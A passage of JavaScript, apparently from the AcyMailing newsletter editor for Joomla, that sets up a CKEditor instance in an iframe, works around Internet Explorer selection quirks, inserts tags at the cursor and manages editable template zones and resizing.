+ id)[0]; var divParent = acyJquery('#' + idIframe)[0]; if(divParent != null && divParent != undefined){ divParent.outerHTML = ""; } divParent = document.createElement("div"); divParent.style.width = textArea.style.width; divParent.style.height = textArea.style.height; divParent.id = idIframe; divParent.innerHTML = textArea.value; textArea.parentElement.appendChild(divParent); var acyedition = (acyJquery('#' + idIframe).find(".acyeditor_delete").length > 0 || acyJquery('#' + idIframe).find(".acyeditor_text").length > 0 || acyJquery('#' + idIframe).find(".acyeditor_picture").length > 0); if(acyedition && forceComplet != 1){ acyeditor_fullmode = false; var iframe = document.createElement("iframe"); if(isBrowserIE()) iframe.src = ""; iframe.frameBorder = '0'; divParent.parentElement.appendChild(iframe); var code = divParent.innerHTML; var width = divParent.style.width; var height = divParent.style.height; divParent.outerHTML = ""; iframe.id = idIframe; iframe.onload = function(){ if(isBrowserIE() && !initIE){ initIE = true; var markup = '<!DOCTYPE html><html></html>'; iframe.contentWindow.document.open(); iframe.contentWindow.document.write(markup); iframe.contentWindow.document.close(); } ChargementIframe(iframe, urlBase, code, width, height, id, texteSuppression, titleSuppression, titleEdition, urlAdminBase, realstylesheetpath); if((isBrowserIE7() || isBrowserIE8()) && !isJoomla2_5 && !isJoomla3){ setTimeout(function(){ SqueezeBox.initialize({}); $$('a.modal').each(function(el){ el.addEvent('click', function(e){ new Event(e).stop(); SqueezeBox.fromElement(el); }); }); }, 200); } }; if(!isBrowserIE()) iframe.src =""; }else{ acyeditor_fullmode = true; var hauteur = acyJquery('#' + idIframe).height() - 70 + "px"; var largeur = "100%"; var code = divParent.innerHTML; divParent.innerHTML = "<textarea id='edition_en_cours' style='width:100%;height:100%'></textarea>"; if(acyeditor_articlemode){ largeur = acyJquery(".adminform").width() + "px"; hauteur = "150px"; } if(acyeditor_listmode){ largeur = acyJquery(".adminform").width() - 65 + "px"; hauteur = "127px"; } var extraPluginsCKEditor = 'resize'; var toolbarGroupsCKEditor = [ { name: 'tools' }, { name: 'mode' }, { name: 'undo' }, { name: 'links' }]; extraPluginsCKEditor += ',acymediabrowser'; if(!acyeditor_listmode && isTagAllowed){ extraPluginsCKEditor += ',addtag'; toolbarGroupsCKEditor.push({ name: 'insert', groups: [ "acymediabrowser", "addtag" ]}); }else{ toolbarGroupsCKEditor.push({ name: 'insert', groups: [ "acymediabrowser" ]}); } toolbarGroupsCKEditor.push({ name: 'basicstyles', groups: [ 'basicstyles', 'cleanup' ] }, { name: 'colors' }, { name: 'paragraph', groups: [ 'list', 'indent' ] }, { name: 'align' }, { name: 'styles' }); if(acyeditor_templatemode){ extraPluginsCKEditor += ',templatemode'; toolbarGroupsCKEditor.push({ name: 'templatemode', groups: [ "textarea", "picturearea", "deletearea", "-", "showarea" ]}); } if(pasteType == 'plain'){ pastePlain = true; pasteWordSimple = false; }else if(pasteType == 'simpleStyle'){ pastePlain = false; pasteWordSimple = true; } if(acyEnterMode == 'p'){ enterM = CKEDITOR.ENTER_P; }else if(acyEnterMode == 'div'){ enterM = CKEDITOR.ENTER_DIV; }else{ enterM = CKEDITOR.ENTER_BR; } extraPluginsCKEditor += ',codemirror'; var codemirrorOptions = { showFormatButton: false, showCommentButton: false, showUncommentButton: false, showAutoCompleteButton: false }; editor = CKEDITOR.replace("edition_en_cours",{ toolbarGroups : toolbarGroupsCKEditor, height : hauteur, width : largeur, baseHref : urlBase, filebrowserImageUploadUrl : urlBase + urlAcyeditor + 'kcfinder/upload.php?type=images', removeButtons: 'Cut,Copy,Paste,Blockquote,HorizontalRule,SpecialChar,Symbol', removePlugins: 'liststyle,tabletools,image,forms,sourcedialog,contextmenu', sharedSpaces: { top: idDivShared }, extraPlugins: extraPluginsCKEditor, forcePasteAsPlainText: pastePlain, pasteFromWordRemoveFontStyles: pasteWordSimple, codemirror: codemirrorOptions, enterMode: enterM }); if(cssUrl != null){ editor.config.contentsCss = urlBase + cssUrl; } editor.setData(code); editor.on('instanceReady',function(e){ var iframe = acyJquery('#edition_en_cours')[0].parentElement.getElementsByTagName('iframe')[0]; editor.on('paste', function(e){ IeCursorFix(); }); iframe.contentWindow.document.body.onkeyup = function (){ IeCursorFix(); }; iframe.contentWindow.document.body.onclick = function (){ IeCursorFix(); }; rangeIE = undefined; IeCursorFix(); if(realstylesheetpath == null || realstylesheetpath == undefined || realstylesheetpath == ""){ var headEditor = iframe.contentWindow.document; headEditor = headEditor.head || headEditor; var linkCss = headEditor.getElementsByTagName("link")[0]; acyJquery(linkCss).removeAttr("href"); }else{ var headEditor = iframe.contentWindow.document; headEditor = headEditor.head || headEditor; var linkCss = headEditor.getElementsByTagName("link")[0]; SetStyleSheetEnBoucle(linkCss, urlBase, realstylesheetpath, Date.now()); } ShowTemplateCss(true); editor.on('selectionChange', function(e){ IeCursorFix(); }); editor.on('mode',function(e){ var iframe = acyJquery('#' + id)[0].parentElement.getElementsByTagName("iframe")[0]; if(iframe != undefined){ var headEditor = iframe.contentWindow.document; headEditor = headEditor.head || headEditor; var linkCss = headEditor.getElementsByTagName("link")[0]; if(realstylesheetpath != null && realstylesheetpath != undefined && realstylesheetpath != ""){ SetStyleSheetEnBoucle(linkCss, urlBase, realstylesheetpath, Date.now()); }else{ acyJquery(linkCss).removeAttr("href"); } if(acyeditor_templatemode){ ShowTemplateCss(templateShown); SetStateForSelection(); } } var textarea = acyJquery('#cke_edition_en_cours .cke_inner .cke_contents textarea')[0]; if(textarea != undefined){ textarea.title = ""; textarea.parentElement.style.paddingRight = "5px"; } }); var editorBody = acyJquery('#' + id + '_ifr')[0]; if(editorBody != undefined){ editorBody.style.width = "100%"; if(acyeditor_articlemode && isJoomla3){ editorBody.style.marginBottom = "27px"; } } setTimeout(function(){ acyJquery("body")[0].onresize = function(e){ acyJquery("#cke_edition_en_cours")[0].style.width = "10px"; acyJquery("#cke_edition_en_cours")[0].style.width = acyJquery("#edition_en_cours")[0].parentElement.clientWidth - 10 + "px"; }; }, 500); acyJquery("#edition_en_cours")[0].parentElement.style.height = ""; }); var listeForms = document.getElementsByTagName('form'); for (indexForm = 0; indexForm < listeForms.length; ++indexForm){ listeForms[indexForm].onsubmit = function (){ OnSubmit(id); }; } } CKEDITOR.on('instanceCreated', function(ev){ var editor = ev.editor; editor.on('pluginsLoaded', function(){ if(!CKEDITOR.dialog.exists('myDialog')){ var href = document.location.href.split('/'); href.pop(); href.push('assets/my_dialog.js'); href = href.join('/'); CKEDITOR.dialog.add('myDialog', href); } editor.addCommand('myDialogCmd', new CKEDITOR.dialogCommand('myDialog')); editor.ui.add('MyButton', CKEDITOR.UI_BUTTON, { label: 'My Dialog', command: 'myDialogCmd' }); }); }); } function ChargementIframe(iframe, urlBase, code, width, height, id, texteSuppression, titleSuppression, titleEdition, urlAdminBase, stylesheetpath){ iframe.contentWindow.document.body.innerHTML = code; iframe.frameborder = "0"; iframe.allowtransparency = "true"; iframe.style.width = width; iframe.style.height = height; var header = acyJquery('#' + iframe.id).contents().find("head")[0]; var base1 = document.createElement("base"); base1.href = urlBase; header.appendChild(base1); var script1 = document.createElement("script"); script1.type = "text/javascript"; script1.src = urlBase + urlAcyeditor + "ckeditor/ckeditor.js?v=" + ckFileVersion; header.appendChild(script1); var link1 = document.createElement("link"); var link2 = document.createElement("link"); link1.type = "text/css"; link2.type = "text/css"; link1.rel = "stylesheet"; link2.rel = "stylesheet"; link1.href = urlBase + urlAcyeditor + "css/acyeditor.css?v=" + acyVersion; if(stylesheetpath != null && stylesheetpath != undefined && stylesheetpath != ""){ link2.href = urlBase + stylesheetpath + "?time=" + Date.now(); } link2.id = "acy_template_css"; header.appendChild(link1); header.appendChild(link2); InitContent(id, texteSuppression, titleSuppression, titleEdition, urlAdminBase); var containerEditor = '<div id="'+idDivShared+'" class="acyeditor_sharedspace" style="z-index:9999; position:fixed; left:0; right:0; top:0; box-shadow: 0px 2px 10px rgba(98, 98, 98, 0.51);"></div><div class="acyeditor_sharedspace" style="padding-bottom:80px;"></div>'; acyJquery(iframe).contents().find('body').prepend(containerEditor); } function InitContent(id, texteSuppression, titleSuppression, titleEdition, urlAdminBase){ var idIframe = id + "_ifr"; CreationDesZones(id, texteSuppression, titleSuppression, titleEdition, urlAdminBase); SetEditablesElements(id); SetImagesId(id); document.getElementsByTagName('body')[0].onclick = function (e){ CheckDeselection(id, e); hideActionButtons(id, e, 'outside', false);}; var listeForms = document.getElementsByTagName('form'); for (indexForm = 0; indexForm < listeForms.length; ++indexForm){ listeForms[indexForm].onsubmit = function (){ CheckDeselection(id); }; } acyJquery('#' + idIframe)[0].contentWindow.document.onclick = function (e){ CheckDeselection(id, e); hideActionButtons(id, e, 'editor', false); }; setTimeout(function(){ ResizeIframe(id); }, 100); if(isBrowserIE()){ acyJquery('#' + idIframe).contents().find(".acyeditor_picture").hover( function (){ if(acyJquery(this)[0].className.indexOf("acyeditor_enedition") < 0){ acyJquery(this).addClass('acyeditor_editablehover'); acyJquery(this).find(".acyeditor_zoneeditionsuppression").addClass('acyeditor_zoneeditionsuppressionhover'); } }, function(){ acyJquery(this).removeClass('acyeditor_editablehover'); acyJquery(this).find(".acyeditor_zoneeditionsuppression").removeClass('acyeditor_zoneeditionsuppressionhover'); } ); acyJquery('#' + idIframe).contents().find(".acyeditor_text").hover( function (){ if(acyJquery(this)[0].className.indexOf("acyeditor_enedition") < 0){ acyJquery(this).addClass('acyeditor_editablehover'); acyJquery(this).find(".acyeditor_zoneeditionsuppression").addClass('acyeditor_zoneeditionsuppressionhover'); } }, function(){ acyJquery(this).removeClass('acyeditor_editablehover'); acyJquery(this).find(".acyeditor_zoneeditionsuppression").removeClass('acyeditor_zoneeditionsuppressionhover'); } ); acyJquery('#' + idIframe).contents().find(".acyeditor_delete").hover( function (){ if(acyJquery(this)[0].className.indexOf("acyeditor_enedition") < 0){ acyJquery(this).find(".acyeditor_zoneeditionsuppression").addClass('acyeditor_zoneeditionsuppressionhover'); } }, function(){ acyJquery(this).find(".acyeditor_zoneeditionsuppression").removeClass('acyeditor_zoneeditionsuppressionhover'); } ); } } function getPreviousSelection(){ var id = 'editor_body'; try{ var acyframe = acyJquery('#' + id, window.parent.document)[0].parentElement.getElementsByTagName('iframe')[0]; }catch(err){ var acyframe = acyJquery('#editor_body_ifr')[0]; } var previousSelection = {}, sel = acyframe.contentWindow.getSelection(); for(var k in sel){ if(typeof(sel[k]) != 'function') previousSelection[k] = sel[k]; } previousSelection.range_0 = sel.getRangeAt(0); return previousSelection; } function insertImageTag(tag,previousSelection){ try{ jInsertEditorText(tag,'edition_en_cours',previousSelection); return true; }catch(err){ try{ jInsertEditorText(tag,'editor_body',previousSelection); return true; }catch(err){ alert('Your editor does not enable AcyMailing to automatically insert the tag, please copy/paste it manually in your Newsletter'); return false; } } } function getSelectedHTML(editor){ var id = acyJquery('#htmlfieldset')[0] != null ? acyJquery('#htmlfieldset')[0].getElementsByTagName("textarea")[0].id : "edition_en_cours"; var element = GetElement(id, editor)[0]; if(element == null || element == undefined){ element = $(editor); } return element.innerHTML; } function jInsertEditorText(text, editor, previousSelection){ var id = acyJquery('#htmlfieldset')[0] != null ? acyJquery('#htmlfieldset')[0].getElementsByTagName("textarea")[0].id : "edition_en_cours"; var element = GetElement(id, editor)[0]; if(element == null || element == undefined){ element = document.getElementById(editor); } insertAtCursor(element, text,previousSelection); } function insertAtCursor(myField, myValue, previousSelection){ var id = acyJquery('#htmlfieldset')[0] != null ? acyJquery('#htmlfieldset')[0].getElementsByTagName("textarea")[0].id : "edition_en_cours"; if(myField.className.indexOf("acyeditor_picture") >= 0){ GetElement(id, myField.id).removeClass('acyeditor_picture'); var zone = GetElement(id, "ZoneEditionSuppression_" + myField.id); if(zone[0] != null && zone[0] != undefined){ EffaceZone(zone[0]); zone.remove(); } if(myValue == undefined){ myValue = ""; } var width = 0; if(myField.width >0){ width = myField.width; }else if(myField.style.width > 0){ width = myField.style.width; }else{ width = myField.clientWidth; } myField.innerHTML = myValue; var images = myField.getElementsByTagName("img"); for (indexImage = 0; indexImage < images.length; ++indexImage){ if(images[indexImage].width > width){ images[indexImage].width = width; images[indexImage].height = images[indexImage].clientHeight; } } if(zone[0] != null && zone[0] != undefined){ myField.appendChild(zone[0]); } AdapteTaille(id, zone); GetElement(id, myField.id).addClass('acyeditor_picture'); Sauvegarde(id); ResizeIframe(id); }else{ try{ var acyframe = acyJquery('#' + id)[0].parentElement.getElementsByTagName("iframe")[0]; }catch(err){ var acyframe = acyJquery('#editor_body_ifr')[0]; } if(acyframe != null && acyframe != undefined && acyframe.contentWindow != null && acyframe.contentWindow != undefined && acyframe.contentWindow.getSelection){ var sel = acyframe.contentWindow.getSelection(); try{ range = sel.getRangeAt(0); }catch(err){ try{ range = previousSelection.range_0; }catch(err2){ range = false; } } if(sel.anchorNode == null && previousSelection){ range = previousSelection.range_0; var sel = previousSelection; } var newNode = acyframe.contentWindow.document.createElement("div"); newNode.innerHTML = myValue; if(isBrowserIE() && rangeIE != undefined){ rangeIE.deleteContents(); while (newNode.childNodes.length > 0){ rangeIE.insertNode(newNode.childNodes[newNode.childNodes.length - 1]); } if(editor != null && editor != undefined){ editor.fire('saveSnapshot'); } }else if(isEnEdition(sel.anchorNode) && range && sel.rangeCount){ range.deleteContents(); while (newNode.childNodes.length > 0){ range.insertNode(newNode.childNodes[newNode.childNodes.length - 1]); } if(editor != null && editor != undefined){ editor.fire('saveSnapshot'); } }else{ AjoutTagDansSujet(myValue); } }else if(acyframe != null && acyframe != undefined && acyframe.contentWindow.document != null && acyframe.contentWindow.document != undefined && acyframe.contentWindow.document.selection && isBrowserIE() && rangeIE != undefined && rangeIE.parentElement && isInForm(id, rangeIE.parentElement())){ if(isJoomla3 && (isBrowserIE7() || isBrowserIE8()) && debutSelection >= 0 && finSelection >= 0 && (acyframe.contentWindow.document.selection.createRange().parentElement && isInForm(id, acyframe.contentWindow.document.selection.createRange().parentElement()) || !acyeditor_fullmode) && rangeIE.text.length != ""){ rangeIE.moveStart('character', debutSelection); rangeIE.moveEnd('character', -finSelection); } try{ rangeIE.pasteHTML(myValue); } catch (e){ rangeIE.text = myValue; } if(editor != null && editor != undefined){ editor.fire('saveSnapshot'); } }else{ AjoutTagDansSujet(myValue); } } } function AjoutTagDansSujet(myValue){ acyJquery("#subject").val(acyJquery("#subject").val() + myValue); } function isEnEdition(element){ var enedition = true; if(acyeditor_fullmode == false){ enedition = false; var parent = element; while (parent != null && parent != undefined){ if(parent.className != null && parent.className != undefined && parent.className.indexOf("acyeditor_enedition") >= 0){ enedition = true; } parent = parent.parentElement || parent.parentNode; } } return enedition; } function isInForm(id, element){ var inForm = false; var parent = element; var idForm = acyJquery("#" + id)[0].parentElement.id; var acyframe = acyJquery("#" + id + "_ifr")[0].contentWindow; if(acyframe == undefined){ acyframe = acyJquery(".cke_wysiwyg_frame")[0].contentWindow; } while (parent != null && parent != undefined){ if(parent.id == idForm || acyframe != undefined && (parent.id != "" && acyframe.document.getElementById(parent.id) != null || parent.className != undefined && parent.className.indexOf("cke_editable") >= 0)){ inForm = true; } parent = parent.parentElement || parent.parentNode; } return inForm; } function isBrowserIE(){ return (navigator.appName=="Microsoft Internet Explorer" || navigator.userAgent.indexOf('MSIE') !== -1 || navigator.appVersion.indexOf('Trident/') > 0); } function isBrowserIE7(){ return (navigator.appName=="Microsoft Internet Explorer" && navigator.appVersion.indexOf("MSIE 7.0") >= 0); } function isBrowserIE8(){ return (navigator.appName=="Microsoft Internet Explorer" && navigator.appVersion.indexOf("MSIE 8.0") >= 0); } function IeCursorFix(avecPosition){ debutSelection = -1; finSelection = -1; if(isBrowserIE()){ var id = acyJquery('#htmlfieldset')[0] != null ? acyJquery('#htmlfieldset')[0].getElementsByTagName("textarea")[0].id : "edition_en_cours"; try{ var acyframe = acyJquery('#' + id)[0].parentElement.getElementsByTagName("iframe")[0]; }catch(err){ var acyframe = acyJquery('#editor_body_ifr')[0]; } if(acyframe != null && acyframe != undefined && acyframe.contentWindow != null && acyframe.contentWindow != undefined && acyframe.contentWindow.getSelection){ rangeIE = undefined; var sel = acyframe.contentWindow.getSelection(); if(isEnEdition(sel.anchorNode) && sel.getRangeAt && sel.rangeCount){ rangeIE = sel.getRangeAt(0); } }else if(acyframe != null && acyframe != undefined && acyframe.contentWindow.document != null && acyframe.contentWindow.document != undefined && acyframe.contentWindow.document.selection){ if(acyframe.contentWindow.document.selection.createRange().parentElement){ anchorNodeIE = acyframe.contentWindow.document.selection.createRange().parentElement(); } if(avecPosition || rangeIE == undefined || acyframe.contentWindow.document.selection.createRange().parentElement && isEnEdition(acyframe.contentWindow.document.selection.createRange().parentElement())){ var nouvelleSelection = acyframe.contentWindow.document.selection; var bonElement = (nouvelleSelection.type != "Control"); if((rangeIE == undefined || !avecPosition || rangeIE.text != nouvelleSelection.createRange().text) && bonElement){ rangeIE = nouvelleSelection.createRange(); rangeIE2 = nouvelleSelection.createRange(); } if(isJoomla3 && bonElement && avecPosition && (isBrowserIE7() || isBrowserIE8())){ var textComplet = rangeIE.parentElement().innerText; if(textComplet.length > rangeIE.text.length){ for (indexDebut = 0; indexDebut < textComplet.length; ++indexDebut){ rangeIE2.moveToBookmark(rangeIE.getBookmark()); var longueurInitiale = rangeIE2.text.length; rangeIE2.moveStart('character', -indexDebut); var longueurIntermediaire = rangeIE2.text.length; var indexFin = textComplet.length - rangeIE2.text.length; rangeIE2.moveEnd('character', indexFin); if(rangeIE2.text.length > textComplet.length){ rangeIE2.moveEnd('character', -(rangeIE2.text.length - textComplet.length)); } if(rangeIE2.text.length < textComplet.length){ rangeIE2.moveEnd('character', -(textComplet.length - rangeIE2.text.length)); } var longueurFinale = rangeIE2.text.length; if(rangeIE2.text == textComplet){ debutSelection = indexDebut; finSelection = indexFin; indexDebut = textComplet.length + 1; } } }else{ debutSelection = 0; finSelection = 0; } } } }else{ rangeIE = undefined; } } return true; } function setEditorStylesheet(id, stylesheeturl, stylesheetpath){ realstylesheetpath = stylesheetpath; rangeIE = undefined; var idIframe = id + "_ifr"; var linkCss = GetElement(id, "acy_template_css")[0]; if(editor != undefined){ editor.config.contentsCss = urlSite+stylesheetpath; } if(linkCss == undefined){ if(editor != undefined){ editor.on('instanceReady',function(){ var iframe = acyJquery('#' + id)[0].parentElement.getElementsByTagName("iframe")[0]; if(iframe != undefined){ var headEditor = iframe.contentWindow.document; headEditor = headEditor.head || headEditor; var base = headEditor.getElementsByTagName("base")[0]; linkCss = headEditor.getElementsByTagName("link")[0]; SetStyleSheetEnBoucle(linkCss, base.href, stylesheetpath, Date.now()); } }); } }else if(stylesheetpath != null && stylesheetpath != undefined && stylesheetpath != ""){ linkCss.href = linkCss.baseURI + stylesheetpath + "?time=" + Date.now(); } } function SetStyleSheetEnBoucle(linkCss, urlBase, stylesheetpath, date){ SetStyleSheet(linkCss, urlBase, stylesheetpath, date); setTimeout(function(){ SetStyleSheet(linkCss, urlBase, stylesheetpath, date); }, 200); setTimeout(function(){ SetStyleSheet(linkCss, urlBase, stylesheetpath, date); }, 500); setTimeout(function(){ SetStyleSheet(linkCss, urlBase, stylesheetpath, date); }, 1500); } function SetStyleSheet(linkCss, urlBase, stylesheetpath, date){ if(stylesheetpath.indexOf("template_0.css")<0){ linkCss.href = urlBase+stylesheetpath+"?time=" + date; } } function ResizeIframe(id){ if(acyeditor_listmode){ var iframe = acyJquery('#' + id)[0].parentElement.getElementsByTagName("iframe")[0]; var textarea = acyJquery('#edition_en_cours')[0]; if(iframe != undefined && textarea != undefined){ var innerHeight = iframe.contentWindow.document.body.clientHeight; if(innerHeight < hauteurEditeurMin){ innerHeight = hauteurEditeurMin; } iframe.parentElement.style.height = innerHeight + 90 + "px"; textarea.parentElement.style.height = ""; var editorBody = acyJquery('#' + id + '_ifr')[0]; editorBody.style.width = "100%"; } }else{ var iframe = acyJquery('#' + id)[0].parentElement.getElementsByTagName("iframe")[0]; var editorBody = acyJquery('#' + id + '_ifr')[0]; var htmlfieldset = acyJquery('#htmlfieldset')[0]; if(iframe != undefined && editorBody != undefined && htmlfieldset != undefined){ editorBody.style.width = "100%"; if(acyeditor_fullmode){ var innerHeight = iframe.contentWindow.document.body.clientHeight; if(innerHeight < hauteurEditeurMin){ innerHeight = hauteurEditeurMin; } iframe.parentElement.style.height = innerHeight + 90 + "px"; editorBody.style.height = ""; htmlfieldset.style.height = ""; }else{ var innerHeight = iframe.contentWindow.document.body.children[0].clientHeight; if(innerHeight < hauteurEditeurMin){ innerHeight = hauteurEditeurMin; } editorBody.style.height = innerHeight + 80 + "px"; htmlfieldset.style.height = ""; } } } } function OnSubmit(id){ if(acyeditor_templatemode){ SetTitleTemplate(true); } acyJquery('#' + id)[0].value = (editor != null && editor != undefined) ? editor.getData() : ""; } function SetEditablesElements(id){ var idIframe = id + "_ifr"; var elements = acyJquery('#' + idIframe)[0].contentWindow.document.body.getElementsByTagName('*'); for (i = 0; i < elements.length; ++i){ var element = elements[i]; if(element.className.indexOf("acyeditor_text") >= 0 && element.onclick == null){ if(element.id == null || element.id == '' || element.id == undefined){ element.id = GetNewId(id); } SetOnClick(id, element); } } } function SetImagesId(id){ var idIframe = id + "_ifr"; var elements = acyJquery('#' + idIframe)[0].contentWindow.document.body.getElementsByTagName('img'); for (indexImagesId = 0; indexImagesId < elements.length; ++indexImagesId){ var element = elements[indexImagesId]; if(element.id == null || element.id == '' || element.id == undefined){ element.outerHTML = element.outerHTML.replace("<img ", "<img id=\"" + GetNewId(id) + "\" "); }else{ element.outerHTML = element.outerHTML; } } } function CreationDesZones(id, texteSuppression, titleSuppression, titleEdition, urlBase){ var idIframe = id + "_ifr"; var elementsZones = acyJquery('#' + idIframe)[0].contentWindow.document.body.getElementsByTagName('*'); CreateSortableAreas(id); for (indexZone = 0; indexZone < elementsZones.length; ++indexZone){ var elementZone = elementsZones[indexZone]; CreationZone(id, elementZone, texteSuppression, titleSuppression, titleEdition, urlBase); } } function CreateSortableAreas(id){ try{ var idIframe = id + "_ifr"; var test = acyJquery('#' + idIframe)[0].contentWindow.document.body; if(acyJquery(test).find(".acyeditor_sortable").length <= 0){ return; } acyJquery(test).find(".acyeditor_sortable").sortable({ revert: true, scroll: false, cursor: 'move', handle: '.acyeditor_btnmove', placeholder: "placeholder", // class added on drop area stop: function(event, ui){ hideActionButtons(id, null, 'noClick', false); InitContent(id, txtSup, titleSup, titleEd, urlSite); Sauvegarde(id); ResizeIframe(id); } }); } catch(err){ alert('Error can\'t add sortable areas: '+err); } } function CreationZone(id, element , texteSuppression, titleSuppression, titleEdition, urlBase){ if(acyJquery(element).hasClass("acyeditor_delete") || acyJquery(element).hasClass("acyeditor_text") || acyJquery(element).hasClass("acyeditor_picture")){ if(element.id == null || element.id == '' || element.id == undefined){ element.id = GetNewId(id); } if(element.tagName == "TR"){ if(acyJquery(element).hasClass("acyeditor_delete")){ var elementTDEditables = acyJquery(element).find("td:not(td.acyeditor_text), td:not(td.acyeditor_picture)"); if(elementTDEditables.length == 0){ elementTDEditables = element.children; } for (j = 0; j < elementTDEditables.length; ++j){ var sousElementsTD = elementTDEditables[j]; if(sousElementsTD.tagName == "TD"){ if(sousElementsTD.id == null || sousElementsTD.id == '' || sousElementsTD.id == undefined){ sousElementsTD.id = GetNewId(id); } GetElement(id, sousElementsTD.id).addClass("acyeditor_delete"); CreationZone(id, sousElementsTD , texteSuppression, titleSuppression, titleEdition, urlBase); GetElement(id, sousElementsTD.id).removeClass("acyeditor_delete"); } } } }else if(acyJquery(element).find(".acyeditor_delete").length + acyJquery(element).find(".acyeditor_text").length + acyJquery(element).find(".acyeditor_picture").length == 0){ if(Existe(id, "ZoneEditionSuppression_" + element.id) == false && acyJquery(element).closest('table').hasClass('actionbutton') == false){ var zone = document.createElement("div"); zone.id = "ZoneEditionSuppression_" + element.id; zone.style.position = "absolute"; element.appendChild(zone); GetElement(id, zone.id).addClass('acyeditor_zoneeditionsuppression'); if(acyJquery(element).hasClass("acyeditor_text") || acyJquery(element).hasClass("acyeditor_picture")){ if(acyJquery(element).hasClass('acyeditor_picture')){ zone.onclick = function (){ if(!acyJquery(element).hasClass('nepasediter')){ acyJquery('#AcyLienImage')[0].href = acyJquery('#AcyLienImage')[0].href.replace('ACY_NAME_AREA', element.id); FireClick(acyJquery('#AcyLienImage')[0]); acyJquery('#AcyLienImage')[0].href = acyJquery('#AcyLienImage')[0].href.replace(element.id, 'ACY_NAME_AREA'); }else if(!isBrowserIE()){ acyJquery(element).removeClass('nepasediter'); } }; if(isBrowserIE()){ zone.parentElement.onclick = function (){ if(!acyJquery(element).hasClass('nepasediter')){ acyJquery('#AcyLienImage')[0].href = acyJquery('#AcyLienImage')[0].href.replace('ACY_NAME_AREA', element.id); FireClick(acyJquery('#AcyLienImage')[0]); acyJquery('#AcyLienImage')[0].href = acyJquery('#AcyLienImage')[0].href.replace(element.id, 'ACY_NAME_AREA'); }else{ acyJquery(element).removeClass('nepasediter'); } }; } } var zoneBoutonEdition = document.createElement("div"); zoneBoutonEdition.id = "zone_bouton_edition_" + zone.id; zoneBoutonEdition.style.position = "absolute"; zone.appendChild(zoneBoutonEdition); acyJquery(zoneBoutonEdition).addClass("acyeditor_zoneboutonedition"); var boutonEdition = document.createElement("div"); boutonEdition.id = "BoutonEdition_" + element.id; boutonEdition.title = titleEdition; zoneBoutonEdition.appendChild(boutonEdition); if(acyJquery(element).hasClass('acyeditor_picture')){ acyJquery(boutonEdition).addClass("acyeditor_editpicture"); }else{ acyJquery(boutonEdition).addClass("acyeditor_edittext"); } } if(acyJquery(element).hasClass("acyeditor_delete")){ var zoneBoutonSuppression = document.createElement("div"); zoneBoutonSuppression.id = "zone_bouton_suppression_" + zone.id; zoneBoutonSuppression.style.position = "absolute"; zone.appendChild(zoneBoutonSuppression); acyJquery(zoneBoutonSuppression).addClass("acyeditor_zoneeditdelete"); var boutonSuppression = document.createElement("div"); boutonSuppression.id = "BoutonSuppression_" + element.id; boutonSuppression.title = titleSuppression; boutonSuppression.onclick = function (){ confirmSuppression(id, element, boutonSuppression, texteSuppression); }; zoneBoutonSuppression.appendChild(boutonSuppression); zone.onmousemove = function(e){ CheckToujoursAuDessus(id, e); }; GetElement(id, boutonSuppression.id).addClass("acyeditor_editdelete"); CreateZoneMore(zone, element, id, zoneBoutonSuppression); } SetMouseOver(id, zone); AdapteTaille(id, zone); } }else{ GetElement(id, element.id).removeClass("acyeditor_delete"); GetElement(id, element.id).removeClass("acyeditor_text"); GetElement(id, element.id).removeClass("acyeditor_picture"); } } } function CreateZoneMore(zone, element, id, zoneBoutonSuppression){ if(acyJquery(zoneBoutonSuppression).closest('.acyeditor_sortable').length > 0){ var btnMove = document.createElement("div"); btnMove.id = "BoutonMove_" + element.id; btnMove.title = 'Move'; btnMove.className = "acyeditor_btnmove"; zoneBoutonSuppression.appendChild(btnMove); } var btnPlus = document.createElement("div"); btnPlus.id = "BoutonPlus_" + element.id; btnPlus.title = titleBtnDupliAfter; //titleBtnMore; btnPlus.className = "acyeditor_btnplus"; acyJquery(btnPlus).on('click', function (evt){ var zoneBody = acyJquery('#' + id + "_ifr")[0].contentWindow.document.body.getElementsByTagName('*'); acyJquery(zoneBody).find('.acyeditor_text').addClass('nepasediter'); acyJquery(zoneBody).find('.acyeditor_picture').addClass('nepasediter'); try{ GetElement(id, btnPlus.parentElement.parentElement.parentElement.parentElement.id).children().addClass('noOpacity'); } catch(err){ GetElement(id, btnPlus.parentElement.parentElement.parentElement.id).addClass('noOpacity'); } zoneActionActive = btnPlus; acyJquery(zoneBoutonSuppression).closest('acyeditor_delete').addClass('nepasediter'); elem = acyJquery(zoneBoutonSuppression).closest('.acyeditor_delete'); elemCopy = elem.clone(); acyJquery(elemCopy).find('.acyeditor_zoneeditionsuppression').remove(); elemCopy[0].id = ""; elementsZones = acyJquery(elemCopy).find('*'); for (var indexZone = 0; indexZone < elementsZones.length; ++indexZone){ elementsZones[indexZone].id = ""; } acyJquery(elem).after(elemCopy); InitContent(id, txtSup, titleSup, titleEd, urlSite); Sauvegarde(id); ResizeIframe(id); }); zoneBoutonSuppression.appendChild(btnPlus); var lineTr = acyJquery(zoneBoutonSuppression).closest('tr'); if(lineTr.length != 0){ var btnMore = document.createElement("div"); btnMore.id = "BoutonMore_" + element.id; btnMore.title = titleBtnMore; //titleBtnMore; btnMore.className = "acyeditor_btnmore"; acyJquery(btnMore).on('click', function (evt){ var zoneBody = acyJquery('#' + id + "_ifr")[0].contentWindow.document.body.getElementsByTagName('*'); acyJquery(zoneBody).find('.acyeditor_text').addClass('nepasediter'); acyJquery(zoneBody).find('.acyeditor_picture').addClass('nepasediter'); acyJquery(zoneBoutonSuppression).closest('acyeditor_delete').addClass('nepasediter'); addActionsButtons(id, zoneBoutonSuppression, evt); }); zoneBoutonSuppression.appendChild(btnMore); } } var blockHide = false; function addActionsButtons(id, zoneBoutonSuppression, evt){ var zoneBody = acyJquery('#' + id + "_ifr")[0].contentWindow.document.body; var iframe = acyJquery('#' + id + "_ifr")[0]; hideActionButtons(id, null, 'noClick', true); acyJquery(zoneBody.childNodes).addClass("acyeditor_disable"); var zoneFade = document.createElement("div"); zoneFade.style.position = "absolute"; zoneFade.className = "acyeditor_mask"; zoneFade.style.width = zoneBody.clientWidth + "px"; zoneFade.style.height = zoneBody.clientHeight + "px"; var isColorPickEnabled = acyJquery('.colorpicker'); zoneFade.onclick = function(){ if(!blockHide && isColorPickEnabled.length == 0){ hideAll(id); }}; zoneFade.id = "zoneFade"; var zoneAction = document.createElement("div"); zoneAction.style.position = "absolute"; zoneAction.className = "acyeditor_action"; zoneAction.id = "zoneAction"; blockHide = true; if(evt != null && evt != undefined){ if(evt.clientX + 142 <= iframe.clientWidth){ zoneAction.style.left = evt.clientX - 50 + "px"; }else{ 